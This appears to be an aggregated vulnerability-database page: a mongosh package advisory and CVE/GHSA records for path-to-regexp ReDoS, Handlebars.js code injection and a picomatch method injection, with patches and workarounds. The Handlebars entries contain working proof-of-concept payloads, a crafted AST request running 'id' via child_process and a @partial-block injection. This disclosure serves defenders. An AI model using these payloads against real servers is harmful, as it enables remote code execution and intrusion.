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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:34
Summary
Security fixes in mongosh 2.8.2-r0
Details
Package mongosh version 2.8.2-r0 fixes 23 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-3mfm-83xf-c92r, ghsa-xhpv-hc6g-r9c6, ghsa-9cx6-37pm-9jff, ghsa-xjpj-3mr7-gcpf...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
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"name": "mongosh"
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"ranges": [
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"events": [
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}
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"credits": [],
"database_specific": {},
"details": "Package mongosh version 2.8.2-r0 fixes 23 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-3mfm-83xf-c92r, ghsa-xhpv-hc6g-r9c6, ghsa-9cx6-37pm-9jff, ghsa-xjpj-3mr7-gcpf...",
"id": "CLEANSTART-2026-QW40696",
"modified": "2026-07-30T09:34:42Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mongodb-js/mongosh"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in mongosh 2.8.2-r0",
"upstream": [
"ghsa-2w6w-674q-4c4q",
"ghsa-3mfm-83xf-c92r",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-9cx6-37pm-9jff",
"ghsa-xjpj-3mr7-gcpf",
"CVE-2026-33937",
"CVE-2026-33938",
"CVE-2026-33939",
"CVE-2026-33940",
"CVE-2026-33941",
"CVE-2026-33916",
"ghsa-c2c7-rcm5-vvqj",
"CVE-2026-33671",
"CVE-2026-33672",
"ghsa-3v7f-55p6-f55p",
"ghsa-f886-m6hf-6m8v",
"CVE-2026-33750",
"ghsa-j3q9-mxjg-w52f",
"CVE-2026-4926",
"CVE-2026-4923",
"ghsa-27v5-c462-wpq7",
"ghsa-48c2-rrv3-qjmp",
"CVE-2026-33532"
]
}
CVE-2026-4923 (GCVE-0-2026-4923)
Vulnerability from cvelistv5 – Published: 2026-03-26 19:02 – Updated: 2026-03-27 13:58
VLAI
EPSS
VEX
Title
path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards
Summary
Impact:
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/*foo-*bar-:baz
/*a-:b-*c-:d
/x/*a-:b/*c/y
Safe examples:
/*foo-:bar
/*foo-:bar-*baz
Patches:
Upgrade to version 8.4.0.
Workarounds:
If you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-1333 - Inefficient Regular Expression Complexity
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
Credits
blakeembrey
UlisesGascon
{
"containers": {
"adp": [
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"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4923",
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"timestamp": "2026-03-27T13:46:47.360477Z",
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"type": "remediation developer",
"value": "blakeembrey"
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{
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"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
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}
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"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T19:02:00.729Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
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"title": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards",
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"cveMetadata": {
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"assignerShortName": "openjs",
"cveId": "CVE-2026-4923",
"datePublished": "2026-03-26T19:02:00.729Z",
"dateReserved": "2026-03-26T18:05:44.717Z",
"dateUpdated": "2026-03-27T13:58:03.925Z",
"state": "PUBLISHED"
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"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4926 (GCVE-0-2026-4926)
Vulnerability from cvelistv5 – Published: 2026-03-26 18:59 – Updated: 2026-07-27 12:05
VLAI
EPSS
VEX
Title
path-to-regexp vulnerable to Denial of Service via sequential optional groups
Summary
Impact:
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches:
Fixed in version 8.4.0.
Workarounds:
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
20 references
Impacted products
57 products
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-9 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:2.5.20260422-3.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:2.5.20260422-3.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:2.6.9-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.1 |
Unaffected:
1779139872 , < *
(rpm)
cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.9 |
Unaffected:
1778927462 , < *
(rpm)
cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1777386606 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1779773804 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Developer Hub 1.8 |
Unaffected:
1776784286 , < *
(rpm)
cpe:/a:redhat:rhdh:1.8::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
Unaffected:
1777903262 , < *
(rpm)
cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat Edge Manager 1.0 |
Unaffected:
1783502765 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.0::el9 |
|
| Red Hat | Red Hat Edge Manager 1.0 |
Unaffected:
1783502438 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.0::el9 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784194938 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el10 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784194574 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el10 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784126822 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el9 |
|
| Red Hat | Red Hat Edge Manager 1.1 |
Unaffected:
1784127736 , < *
(rpm)
cpe:/a:redhat:edge_manager:1.1::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1776744110 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1776795400 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift distributed tracing 3.9.1 |
Unaffected:
1776435608 , < *
(rpm)
cpe:/a:redhat:openshift_distributed_tracing:3.9::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
Unaffected:
1776673130 , < *
(rpm)
Unaffected: 1776889929 , < * (rpm) cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Migration Toolkit for Applications 8 |
cpe:/a:redhat:migration_toolkit_applications:8 |
|
| Red Hat | Multicluster Engine for Kubernetes |
cpe:/a:redhat:multicluster_engine |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed |
|
| Red Hat | OpenShift Pipelines |
cpe:/a:redhat:openshift_pipelines:1 |
|
| Red Hat | OpenShift Service Mesh 2 |
cpe:/a:redhat:service_mesh:2 |
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat Advanced Cluster Security 4 |
cpe:/a:redhat:advanced_cluster_security:4 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat Build of Podman Desktop |
cpe:/a:redhat:podman_desktop:1 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Developer Hub |
cpe:/a:redhat:rhdh:1 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift GitOps |
cpe:/a:redhat:openshift_gitops:1 |
|
| Red Hat | Red Hat OpenShift Virtualization 4 |
cpe:/a:redhat:container_native_virtualization:4 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Red Hat Trusted Profile Analyzer |
cpe:/a:redhat:trusted_profile_analyzer:2 |
|
| Red Hat | Self-service automation portal 2 |
cpe:/a:redhat:ansible_portal:2 |
Credits
uug4na
blakeembrey
UlisesGascon
{
"containers": {
"adp": [
{
"metrics": [
{
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"content": {
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"timestamp": "2026-03-27T19:44:44.790485Z",
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"title": "CISA ADP Vulnrichment"
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"cpes": [
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"packageName": "cryostat/cryostat-openshift-console-plugin-rhel9",
"product": "Cryostat 4 on RHEL 9",
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"status": "unaffected",
"version": "4.2.0-9",
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"cpes": [
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"defaultStatus": "affected",
"packageName": "automation-gateway",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat",
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"status": "unaffected",
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"cpes": [
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"defaultStatus": "affected",
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"vendor": "Red Hat",
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"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat",
"versions": [
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"versionType": "rpm"
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"cpes": [
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"defaultStatus": "affected",
"packageName": "ansible-automation-platform-26/gateway-rhel9",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat",
"versions": [
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"status": "unaffected",
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"cpes": [
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"product": "Red Hat Developer Hub 1.8",
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GHSA-27V5-C462-WPQ7
Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23
VLAI
Summary
path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards
Details
Impact
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/*foo-*bar-:baz
/*a-:b-*c-:d
/x/*a-:b/*c/y
Safe examples:
/*foo-:bar
/*foo-:bar-*baz
Patches
Upgrade to version 8.4.0.
Workarounds
If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.
Severity
5.9 (Medium)
{
"affected": [
{
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"ecosystem": "npm",
"name": "path-to-regexp"
},
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},
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"aliases": [
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],
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},
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"id": "GHSA-27v5-c462-wpq7",
"modified": "2026-03-27T22:23:52Z",
"published": "2026-03-27T22:23:52Z",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
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GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion
Details
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Severity
9.8 (Critical)
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],
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],
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"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-3MFM-83XF-C92R
Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Details
Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Severity
8.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33938"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:20:44Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{\u003e@partial-block}}\n {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field \u2014 breaks out of generated function call\n depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"id": "GHSA-3mfm-83xf-c92r",
"modified": "2026-03-27T21:52:26Z",
"published": "2026-03-27T18:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}
GHSA-3V7F-55P6-F55P
Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36
VLAI
Summary
Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching
Details
Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };
Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33672"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:13:39Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n ```js\n const POSIX_REGEX_SOURCE = {\n __proto__: null,\n alnum: \u0027a-zA-Z0-9\u0027,\n alpha: \u0027a-zA-Z\u0027,\n // ... rest unchanged\n };\n \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
"id": "GHSA-3v7f-55p6-f55p",
"modified": "2026-03-27T21:36:24Z",
"published": "2026-03-25T21:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
},
{
"type": "WEB",
